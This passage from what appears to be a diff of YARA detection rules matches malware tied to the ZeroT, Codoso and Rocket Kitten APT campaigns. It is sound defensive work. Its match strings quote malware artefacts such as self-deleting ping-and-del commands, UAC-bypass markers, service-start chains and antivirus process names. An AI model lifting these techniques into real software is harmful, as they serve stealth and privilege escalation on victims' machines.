$s1 = "NO2-2016101902.exe" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
|
||||
}
|
||||
|
||||
rule PP_CN_APT_ZeroT_3 {
|
||||
meta:
|
||||
description = "Detects malware from the Proofpoint CN APT ZeroT incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
|
||||
date = "2017-02-03"
|
||||
hash1 = "ee2e2937128dac91a11e9bf55babc1a8387eb16cebe676142c885b2fc18669b2"
|
||||
strings:
|
||||
$s1 = "/svchost.exe" fullword ascii
|
||||
$s2 = "RasTls.dll" fullword ascii
|
||||
$s3 = "20160620.htm" fullword ascii
|
||||
$s4 = "* $l&$" fullword ascii
|
||||
$s5 = "dfjhmh" fullword ascii
|
||||
$s6 = "/20160620.htm" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5449 and filesize < 1000KB and 3 of them ) or ( all of them )
|
||||
}
|
||||
|
||||
rule PP_CN_APT_ZeroT_4 {
|
||||
meta:
|
||||
description = "Detects malware from the Proofpoint CN APT ZeroT incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
|
||||
date = "2017-02-03"
|
||||
hash1 = "a9519d2624a842d2c9060b64bb78ee1c400fea9e43d4436371a67cbf90e611b8"
|
||||
strings:
|
||||
$s1 = "Mcutil.dll" fullword ascii
|
||||
$s2 = "mcut.exe" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
|
||||
}
|
||||
|
||||
rule PP_CN_APT_ZeroT_5 {
|
||||
meta:
|
||||
description = "Detects malware from the Proofpoint CN APT ZeroT incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
|
||||
date = "2017-02-03"
|
||||
hash1 = "74dd52aeac83cc01c348528a9bcb20bbc34622b156f40654153e41817083ba1d"
|
||||
strings:
|
||||
$x1 = "dbozcb" fullword ascii
|
||||
|
||||
$s1 = "nflogger.dll" fullword ascii
|
||||
$s2 = "/svchost.exe" fullword ascii
|
||||
$s3 = "1207.htm" fullword ascii
|
||||
$s4 = "/1207.htm" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5449 and filesize < 1000KB and 1 of ($x*) and 1 of ($s*) ) or ( all of them )
|
||||
}
|
||||
|
||||
rule PP_CN_APT_ZeroT_6 {
|
||||
meta:
|
||||
description = "Detects malware from the Proofpoint CN APT ZeroT incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
|
||||
date = "2017-02-03"
|
||||
hash1 = "a16078c6d09fcfc9d6ff7a91e39e6d72e2d6d6ab6080930e1e2169ec002b37d3"
|
||||
strings:
|
||||
$s6 = "jGetgQ|0h9=" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 1000KB and ( 10 of ($s*) ) ) or ( all of them )
|
||||
}
|
||||
|
||||
rule PP_CN_APT_ZeroT_7 {
|
||||
meta:
|
||||
description = "Detects malware from the Proofpoint CN APT ZeroT incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
|
||||
date = "2017-02-03"
|
||||
hash1 = "fc2d47d91ad8517a4a974c4570b346b41646fac333d219d2f1282c96b4571478"
|
||||
strings:
|
||||
$s1 = "RasTls.dll" fullword ascii
|
||||
$s2 = "RasTls.exe" fullword ascii
|
||||
$s4 = "LOADER ERROR" fullword ascii
|
||||
$s5 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
|
||||
}
|
||||
|
||||
rule PP_CN_APT_ZeroT_8 {
|
||||
meta:
|
||||
description = "Detects malware from the Proofpoint CN APT ZeroT incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
|
||||
date = "2017-02-03"
|
||||
hash1 = "4ef91c17b1415609a2394d2c6c353318a2503900e400aab25ab96c9fe7dc92ff"
|
||||
strings:
|
||||
$s1 = "/svchost.exe" fullword ascii
|
||||
$s2 = "RasTls.dll" fullword ascii
|
||||
$s3 = "20160620.htm" fullword ascii
|
||||
$s4 = "/20160620.htm" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5449 and filesize < 1000KB and 3 of them )
|
||||
}
|
||||
|
||||
rule PP_CN_APT_ZeroT_9 {
|
||||
meta:
|
||||
description = "Detects malware from the Proofpoint CN APT ZeroT incident"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
|
||||
date = "2017-02-03"
|
||||
hash1 = "a685cf4dca6a58213e67d041bba637dca9cb3ea6bb9ad3eae3ba85229118bce0"
|
||||
strings:
|
||||
$x1 = "nflogger.dll" fullword ascii
|
||||
$s7 = "Zlh.exe" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
|
||||
}
|
||||
|
||||
rule CN_APT_ZeroT_nflogger {
|
||||
meta:
|
||||
description = "Chinese APT by Proofpoint ZeroT RAT - file nflogger.dll"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
|
||||
date = "2017-02-04"
|
||||
hash1 = "946adbeb017616d56193a6d43fe9c583be6ad1c7f6a22bab7df9db42e6e8ab10"
|
||||
strings:
|
||||
$x1 = "\\LoaderDll.VS2010\\Release\\" ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
|
||||
}
|
||||
|
||||
rule CN_APT_ZeroT_extracted_Go {
|
||||
meta:
|
||||
description = "Chinese APT by Proofpoint ZeroT RAT - file Go.exe"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
|
||||
date = "2017-02-04"
|
||||
hash1 = "83ddc69fe0d3f3d2f46df7e72995d59511c1bfcca1a4e14c330cb71860b4806b"
|
||||
strings:
|
||||
$x1 = "%s\\cmd.exe /c %s\\Zlh.exe" fullword ascii
|
||||
$x2 = "\\BypassUAC.VS2010\\Release\\" fullword ascii
|
||||
|
||||
$s1 = "Zjdsf.exe" fullword ascii
|
||||
$s2 = "SS32prep.exe" fullword ascii
|
||||
$s3 = "windowsgrep.exe" fullword ascii
|
||||
$s4 = "Sysdug.exe" fullword ascii
|
||||
$s5 = "Proessz.exe" fullword ascii
|
||||
$s6 = "%s\\Zlh.exe" fullword ascii
|
||||
$s7 = "/C %s\\%s" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of ($x*) or 3 of ($s*) ) ) or ( 7 of them )
|
||||
}
|
||||
|
||||
rule CN_APT_ZeroT_extracted_Mcutil {
|
||||
meta:
|
||||
description = "Chinese APT by Proofpoint ZeroT RAT - file Mcutil.dll"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
|
||||
date = "2017-02-04"
|
||||
hash1 = "266c06b06abbed846ebabfc0e683f5d20dadab52241bc166b9d60e9b8493b500"
|
||||
strings:
|
||||
$s1 = "LoaderDll.dll" fullword ascii
|
||||
$s2 = "QageBox1USER" fullword ascii
|
||||
$s3 = "xhmowl" fullword ascii
|
||||
$s4 = "?KEYKY" fullword ascii
|
||||
$s5 = "HH:mm:_s" fullword ascii
|
||||
$s6 = "=licni] has maX0t" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 90KB and 3 of them ) or ( all of them )
|
||||
}
|
||||
|
||||
rule CN_APT_ZeroT_extracted_Zlh {
|
||||
meta:
|
||||
description = "Chinese APT by Proofpoint ZeroT RAT - file Zlh.exe"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
|
||||
date = "2017-02-04"
|
||||
hash1 = "711f0a635bbd6bf1a2890855d0bd51dff79021db45673541972fe6e1288f5705"
|
||||
strings:
|
||||
$s1 = "nflogger.dll" fullword wide
|
||||
$s2 = "%s %d: CreateProcess('%s', '%s') failed. Windows error code is 0x%08x" fullword ascii
|
||||
$s3 = "_StartZlhh(): Executed \"%s\"" fullword ascii
|
||||
$s4 = "Executable: '%s' (%s) %i" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 300KB and 3 of them )
|
||||
}
|
||||
@@ -0,0 +1,335 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Florian Roth
|
||||
Date: 2016-01-30
|
||||
Identifier: Codoso
|
||||
Comment: Reduced signature set for LOKI integration
|
||||
*/
|
||||
|
||||
/* Rule Set ----------------------------------------------------------------- */
|
||||
|
||||
rule Codoso_PlugX_3 {
|
||||
meta:
|
||||
description = "Detects Codoso APT PlugX Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
hash = "74e1e83ac69e45a3bee78ac2fac00f9e897f281ea75ed179737e9b6fe39971e3"
|
||||
strings:
|
||||
$s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide
|
||||
$s2 = "mcs.exe" fullword ascii
|
||||
$s3 = "McAltLib.dll" fullword ascii
|
||||
$s4 = "WinRAR self-extracting archive" fullword wide
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 1200KB and all of them
|
||||
}
|
||||
rule Codoso_PlugX_2 {
|
||||
meta:
|
||||
description = "Detects Codoso APT PlugX Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
hash = "b9510e4484fa7e3034228337768176fce822162ad819539c6ca3631deac043eb"
|
||||
strings:
|
||||
$s1 = "%TEMP%\\HID" fullword wide
|
||||
$s2 = "%s\\hid.dll" fullword wide
|
||||
$s3 = "%s\\SOUNDMAN.exe" fullword wide
|
||||
$s4 = "\"%s\\SOUNDMAN.exe\" %d %d" fullword wide
|
||||
$s5 = "%s\\HID.dllx" fullword wide
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 400KB and 3 of them ) or all of them
|
||||
}
|
||||
rule Codoso_CustomTCP_4 {
|
||||
meta:
|
||||
description = "Detects Codoso APT CustomTCP Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
hash1 = "ea67d76e9d2e9ce3a8e5f80ff9be8f17b2cd5b1212153fdf36833497d9c060c0"
|
||||
hash2 = "130abb54112dd47284fdb169ff276f61f2b69d80ac0a9eac52200506f147b5f8"
|
||||
hash3 = "3ea6b2b51050fe7c07e2cf9fa232de6a602aa5eff66a2e997b25785f7cf50daa"
|
||||
hash4 = "02cf5c244aebaca6195f45029c1e37b22495609be7bdfcfcd79b0c91eac44a13"
|
||||
strings:
|
||||
$x1 = "varus_service_x86.dll" fullword ascii
|
||||
|
||||
$s1 = "/s %s /p %d /st %d /rt %d" fullword ascii
|
||||
$s2 = "net start %%1" fullword ascii
|
||||
$s3 = "ping 127.1 > nul" fullword ascii
|
||||
$s4 = "McInitMISPAlertEx" fullword ascii
|
||||
$s5 = "sc start %%1" fullword ascii
|
||||
$s6 = "net stop %%1" fullword ascii
|
||||
$s7 = "WorkerRun" fullword ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 400KB and 5 of them ) or
|
||||
( $x1 and 2 of ($s*) )
|
||||
}
|
||||
rule Codoso_CustomTCP_3 {
|
||||
meta:
|
||||
description = "Detects Codoso APT CustomTCP Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
hash = "d66106ec2e743dae1d71b60a602ca713b93077f56a47045f4fc9143aa3957090"
|
||||
strings:
|
||||
$s1 = "DnsApi.dll" fullword ascii
|
||||
$s2 = "softWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\Domains\\%s" ascii
|
||||
$s3 = "CONNECT %s:%d hTTP/1.1" ascii
|
||||
$s4 = "CONNECT %s:%d HTTp/1.1" ascii
|
||||
$s5 = "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0;)" ascii
|
||||
$s6 = "iphlpapi.dll" ascii
|
||||
$s7 = "%systemroot%\\Web\\" ascii
|
||||
$s8 = "Proxy-Authorization: Negotiate %s" ascii
|
||||
$s9 = "CLSID\\{%s}\\InprocServer32" ascii
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and filesize < 500KB and 5 of them ) or 7 of them
|
||||
}
|
||||
rule Codoso_CustomTCP_2 {
|
||||
meta:
|
||||
description = "Detects Codoso APT CustomTCP Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
hash = "3577845d71ae995762d4a8f43b21ada49d809f95c127b770aff00ae0b64264a3"
|
||||
strings:
|
||||
$s1 = "varus_service_x86.dll" fullword ascii
|
||||
$s2 = "/s %s /p %d /st %d /rt %d" fullword ascii
|
||||
$s3 = "net start %%1" fullword ascii
|
||||
$s4 = "ping 127.1 > nul" fullword ascii
|
||||
$s5 = "McInitMISPAlertEx" fullword ascii
|
||||
$s6 = "sc start %%1" fullword ascii
|
||||
$s7 = "B_WKNDNSK^" fullword ascii
|
||||
$s8 = "net stop %%1" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 406KB and all of them
|
||||
}
|
||||
rule Codoso_PGV_PVID_6 {
|
||||
meta:
|
||||
description = "Detects Codoso APT PGV_PVID Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
hash = "4b16f6e8414d4192d0286b273b254fa1bd633f5d3d07ceebd03dfdfc32d0f17f"
|
||||
strings:
|
||||
$s0 = "rundll32 \"%s\",%s" fullword ascii
|
||||
$s1 = "/c ping 127.%d & del \"%s\"" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 6000KB and all of them
|
||||
}
|
||||
rule Codoso_Gh0st_3 {
|
||||
meta:
|
||||
description = "Detects Codoso APT Gh0st Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
hash = "bf52ca4d4077ae7e840cf6cd11fdec0bb5be890ddd5687af5cfa581c8c015fcd"
|
||||
strings:
|
||||
$x1 = "RunMeByDLL32" fullword ascii
|
||||
|
||||
$s1 = "svchost.dll" fullword wide
|
||||
$s2 = "server.dll" fullword ascii
|
||||
$s3 = "Copyright ? 2008" fullword wide
|
||||
$s4 = "testsupdate33" fullword ascii
|
||||
$s5 = "Device Protect Application" fullword wide
|
||||
$s6 = "MSVCP60.DLL" fullword ascii /* Goodware String - occured 1 times */
|
||||
$s7 = " mail-news.eicp.net" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 195KB and $x1 or 4 of them
|
||||
}
|
||||
rule Codoso_Gh0st_2 {
|
||||
meta:
|
||||
description = "Detects Codoso APT Gh0st Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
hash = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
|
||||
strings:
|
||||
$s0 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
|
||||
$s1 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
|
||||
$s13 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
|
||||
$s14 = "%s -r debug 1" fullword ascii
|
||||
$s15 = "\\\\.\\keymmdrv1" fullword ascii
|
||||
$s17 = "RunMeByDLL32" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 500KB and 1 of them
|
||||
}
|
||||
rule Codoso_CustomTCP {
|
||||
meta:
|
||||
description = "Codoso CustomTCP Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
hash = "b95d7f56a686a05398198d317c805924c36f3abacbb1b9e3f590ec0d59f845d8"
|
||||
strings:
|
||||
$s4 = "wnyglw" fullword ascii
|
||||
$s5 = "WorkerRun" fullword ascii
|
||||
$s7 = "boazdcd" fullword ascii
|
||||
$s8 = "wayflw" fullword ascii
|
||||
$s9 = "CODETABL" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 405KB and all of them
|
||||
}
|
||||
|
||||
/* Super Rules ------------------------------------------------------------- */
|
||||
|
||||
rule Codoso_PGV_PVID_5 {
|
||||
meta:
|
||||
description = "Detects Codoso APT PGV PVID Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
super_rule = 1
|
||||
hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
|
||||
hash2 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
|
||||
strings:
|
||||
$s1 = "/c del %s >> NUL" fullword ascii
|
||||
$s2 = "%s%s.manifest" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 500KB and all of them
|
||||
}
|
||||
rule Codoso_Gh0st_1 {
|
||||
meta:
|
||||
description = "Detects Codoso APT Gh0st Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
super_rule = 1
|
||||
hash1 = "5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841"
|
||||
hash2 = "7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8"
|
||||
hash3 = "d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297"
|
||||
strings:
|
||||
$x1 = "cmd.exe /c ping 127.0.0.1 && ping 127.0.0.1 && sc start %s && ping 127.0.0.1 && sc start %s" fullword ascii
|
||||
$x2 = "rundll32.exe \"%s\", RunMeByDLL32" fullword ascii
|
||||
$x3 = "Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}" fullword wide
|
||||
$x4 = "\\\\.\\keymmdrv1" fullword ascii
|
||||
|
||||
$s1 = "spideragent.exe" fullword ascii
|
||||
$s2 = "AVGIDSAgent.exe" fullword ascii
|
||||
$s3 = "kavsvc.exe" fullword ascii
|
||||
$s4 = "mspaint.exe" fullword ascii
|
||||
$s5 = "kav.exe" fullword ascii
|
||||
$s6 = "avp.exe" fullword ascii
|
||||
$s7 = "NAV.exe" fullword ascii
|
||||
|
||||
$c1 = "Elevation:Administrator!new:" wide
|
||||
$c2 = "Global\\RUNDLL32EXITEVENT_NAME{12845-8654-543}" fullword ascii
|
||||
$c3 = "\\sysprep\\sysprep.exe" fullword wide
|
||||
$c4 = "\\sysprep\\CRYPTBASE.dll" fullword wide
|
||||
$c5 = "Global\\TERMINATEEVENT_NAME{12845-8654-542}" fullword ascii
|
||||
$c6 = "ConsentPromptBehaviorAdmin" fullword ascii
|
||||
$c7 = "\\sysprep" fullword wide
|
||||
$c8 = "Global\\UN{5FFC0C8B-8BE5-49d5-B9F2-BCDC8976EE10}" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 1000KB and ( 4 of ($s*) or 4 of ($c*) ) or
|
||||
1 of ($x*) or
|
||||
6 of ($c*)
|
||||
}
|
||||
rule Codoso_PGV_PVID_4 {
|
||||
meta:
|
||||
description = "Detects Codoso APT PlugX Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
super_rule = 1
|
||||
hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
|
||||
hash2 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
|
||||
hash3 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
|
||||
hash4 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
|
||||
hash5 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
|
||||
strings:
|
||||
$x1 = "dropper, Version 1.0" fullword wide
|
||||
$x2 = "dropper" fullword wide
|
||||
$x3 = "DROPPER" fullword wide
|
||||
$x4 = "About dropper" fullword wide
|
||||
|
||||
$s1 = "Microsoft Windows Manager Utility" fullword wide
|
||||
$s2 = "SYSTEM\\CurrentControlSet\\Services\\" fullword ascii /* Goodware String - occured 9 times */
|
||||
$s3 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify" fullword ascii /* Goodware String - occured 10 times */
|
||||
$s4 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3" ascii /* Goodware String - occured 46 times */
|
||||
$s5 = "<supportedOS Id=\"{e2011457-1546-43c5-a5fe-008deee3d3f0}\"></supportedOS>" fullword ascii /* Goodware String - occured 65 times */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 900KB and 2 of ($x*) and 2 of ($s*)
|
||||
}
|
||||
rule Codoso_PlugX_1 {
|
||||
meta:
|
||||
description = "Detects Codoso APT PlugX Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
super_rule = 1
|
||||
hash1 = "0b8cbc9b4761ab35acce2aa12ba2c0a283afd596b565705514fd802c8b1e144b"
|
||||
hash2 = "448711bd3f689ceebb736d25253233ac244d48cb766834b8f974c2e9d4b462e8"
|
||||
hash3 = "fd22547497ce52049083092429eeff0599d0b11fe61186e91c91e1f76b518fe2"
|
||||
strings:
|
||||
$s1 = "GETPASSWORD1" fullword ascii
|
||||
$s2 = "NvSmartMax.dll" fullword ascii
|
||||
$s3 = "LICENSEDLG" fullword ascii
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 800KB and all of them
|
||||
}
|
||||
rule Codoso_PGV_PVID_3 {
|
||||
meta:
|
||||
description = "Detects Codoso APT PGV PVID Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
super_rule = 1
|
||||
hash1 = "126fbdcfed1dfb31865d4b18db2fb963f49df838bf66922fea0c37e06666aee1"
|
||||
hash2 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
|
||||
hash3 = "8a56b476d792983aea0199ee3226f0d04792b70a1c1f05f399cb6e4ce8a38761"
|
||||
hash4 = "b2950f2e09f5356e985c38b284ea52175d21feee12e582d674c0da2233b1feb1"
|
||||
hash5 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
|
||||
hash6 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
|
||||
strings:
|
||||
$x1 = "Copyright (C) Microsoft Corporation. All rights reserved.(C) 2012" fullword wide
|
||||
condition:
|
||||
$x1
|
||||
}
|
||||
rule Codoso_PGV_PVID_2 {
|
||||
meta:
|
||||
description = "Detects Codoso APT PGV PVID Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
super_rule = 1
|
||||
hash1 = "13bce64b3b5bdfd24dc6f786b5bee08082ea736be6536ef54f9c908fd1d00f75"
|
||||
hash2 = "b631553421aa17171cc47248adc110ca2e79eff44b5e5b0234d69b30cab104e3"
|
||||
hash3 = "bc0b885cddf80755c67072c8b5961f7f0adcaeb67a1a5c6b3475614fd51696fe"
|
||||
strings:
|
||||
$s0 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SvcHost" fullword ascii
|
||||
$s1 = "regsvr32.exe /s \"%s\"" fullword ascii
|
||||
$s2 = "Help and Support" fullword ascii
|
||||
$s3 = "netsvcs" fullword ascii
|
||||
$s9 = "%SystemRoot%\\System32\\svchost.exe -k netsvcs" fullword ascii /* Goodware String - occured 4 times */
|
||||
$s10 = "winlogon" fullword ascii /* Goodware String - occured 4 times */
|
||||
$s11 = "System\\CurrentControlSet\\Services" fullword ascii /* Goodware String - occured 11 times */
|
||||
condition:
|
||||
uint16(0) == 0x5a4d and filesize < 907KB and all of them
|
||||
}
|
||||
rule Codoso_PGV_PVID_1 {
|
||||
meta:
|
||||
description = "Detects Codoso APT PGV PVID Malware"
|
||||
author = "Florian Roth"
|
||||
reference = "https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks"
|
||||
date = "2016-01-30"
|
||||
super_rule = 1
|
||||
hash1 = "41a936b0d1fd90dffb2f6d0bcaf4ad0536f93ca7591f7b75b0cd1af8804d0824"
|
||||
hash2 = "58334eb7fed37e3104d8235d918aa5b7856f33ea52a74cf90a5ef5542a404ac3"
|
||||
hash3 = "934b87ddceabb2063b5e5bc4f964628fe0c63b63bb2346b105ece19915384fc7"
|
||||
hash4 = "ce91ea20aa2e6af79508dd0a40ab0981f463b4d2714de55e66d228c579578266"
|
||||
hash5 = "e770a298ae819bba1c70d0c9a2e02e4680d3cdba22d558d21caaa74e3970adf1"
|
||||
strings:
|
||||
$x1 = "Cookie: pgv_pvid=" ascii
|
||||
$x2 = "DRIVERS\\ipinip.sys" fullword wide
|
||||
|
||||
$s1 = "TsWorkSpaces.dll" fullword ascii
|
||||
$s2 = "%SystemRoot%\\System32\\wiaservc.dll" fullword wide
|
||||
$s3 = "/selfservice/microsites/search.php?%016I64d" fullword ascii
|
||||
$s4 = "/solutions/company-size/smb/index.htm?%016I64d" fullword ascii
|
||||
$s5 = "Microsoft Chart ActiveX Control" fullword wide
|
||||
$s6 = "MSChartCtrl.ocx" fullword wide
|
||||
$s7 = "{%08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X}" fullword ascii
|
||||
$s8 = "WUServiceMain" fullword ascii /* Goodware String - occured 2 times */
|
||||
condition:
|
||||
( uint16(0) == 0x5a4d and ( 1 of ($x*) or 3 of them ) ) or
|
||||
5 of them
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
/*
|
||||
Core Impact Agent known from RocketKitten and WoolenGoldfish APT
|
||||
*/
|
||||
|
||||
|
||||
rule CoreImpact_sysdll_exe {
|
||||
meta:
|
||||
description = "Detects a malware sysdll.exe from the Rocket Kitten APT"
|
||||
author = "Florian Roth"
|
||||
score = 70
|
||||
date = "27.12.2014"
|
||||
hash = "f89a4d4ae5cca6d69a5256c96111e707"
|
||||
strings:
|
||||
$s0 = "d:\\nightly\\sandbox_avg10_vc9_SP1_2011\\source\\avg10\\avg9_all_vs90\\bin\\Rele" ascii
|
||||
|
||||
$x1 = "Mozilla/5.0" fullword ascii
|
||||
$x2 = "index.php?c=%s&r=%lx&u=1&t=%s" fullword ascii
|
||||
$x3 = "index.php?c=%s&r=%lx" fullword ascii
|
||||
$x4 = "index.php?c=%s&r=%x" fullword ascii
|
||||
$x5 = "127.0.0.1" fullword ascii
|
||||
$x6 = "/info.dat" fullword ascii
|
||||
|
||||
$z1 = "Content-Type: multipart/form-data; boundary=%S" fullword wide
|
||||
$z2 = "Encountered error sending error message to client" fullword ascii
|
||||
$z3 = "Encountered error building error message to client" fullword ascii
|
||||
$z4 = "Attempting to unlock uninitialized lock!" fullword ascii
|
||||
$z5 = "connect_back_tcp_channel#do_connect:: Error resolving connect back hostname" fullword ascii
|
||||
$z6 = "select_event_get(): fd not found" fullword ascii
|
||||
$z7 = "Encountered error sending syscall response to client" fullword ascii
|
||||
$z8 = "GetProcAddress() error" fullword ascii
|
||||
$z9 = "Error entering thread lock" fullword ascii
|
||||
$z10 = "Error exiting thread lock" fullword ascii
|
||||
$z11 = "connect_back_tcp_channel_init:: socket() failed" fullword ascii
|
||||
$z12 = "event_add() failed for ev." fullword ascii
|
||||
$z13 = "Uh, oh, exit() failed" fullword ascii
|
||||
$z14 = "event_add() failed for ev." fullword ascii
|
||||
$z15 = "event_add() failed." fullword ascii
|
||||
$z16 = "needroot" fullword ascii
|
||||
$z17 = "./plugins/" fullword ascii
|
||||
condition:
|
||||
$s0 or
|
||||
all of ($x*) or
|
||||
8 of ($z*)
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
/*
|
||||
Yara Rule Set
|
||||
Author: Dragos Inc
|
||||
